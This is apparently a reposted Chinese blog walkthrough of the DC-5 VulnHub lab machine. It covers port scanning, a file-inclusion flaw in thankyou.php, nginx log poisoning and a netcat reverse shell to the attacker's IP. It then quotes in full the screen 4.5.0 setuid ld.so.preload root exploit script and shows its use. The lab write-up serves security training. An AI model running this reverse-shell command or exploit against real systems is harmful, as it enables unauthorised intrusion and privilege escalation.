欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

DC-5 vulnhub靶机实战

发布时间:2025/3/21 编程问答 44 豆豆
生活随笔 收集整理的这篇文章主要介绍了 DC-5 vulnhub靶机实战 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

首先是使用virtualbox安装,这里不推荐vmware,会出很多问题。

nmap扫一下子网,看靶机的ip地址:

发现ip是192.168.240.137,开放了80和111端口。

给了提示是个文件包含漏洞,发现在thinkyou.php里面存在,验证一下。

可以读到/etc/passwd文件。
接下来就可以利用nginx的日志记录功能,将一句话写入到access.log里面,然后用thankyou.php?file=*来执行php语句。


接下来利用nc反弹shell
kali上监听:nc -nlvp 1234
浏览器访问:http://192.168.240.137/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.240.175 1234

可以看的已经弹回了一个shell.

接下来进行提权:
find / -perm -u=s -type f 2>/dev/null
看看这个用户有什么root权限命令

看到一个奇怪的screen,搜搜有什么漏洞。

我们用第一个41154.sh.

#!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html # HACK THE PLANET # ~ infodox (25/1/2017) echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include <stdio.h> int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so...


按步骤在kali上编译好libhax.so和rootshell,用wget上传到靶机上,执行

cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so...

这时候执行/tmp/rootshell可以获得一个root shell.

总结

以上是生活随笔为你收集整理的DC-5 vulnhub靶机实战的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。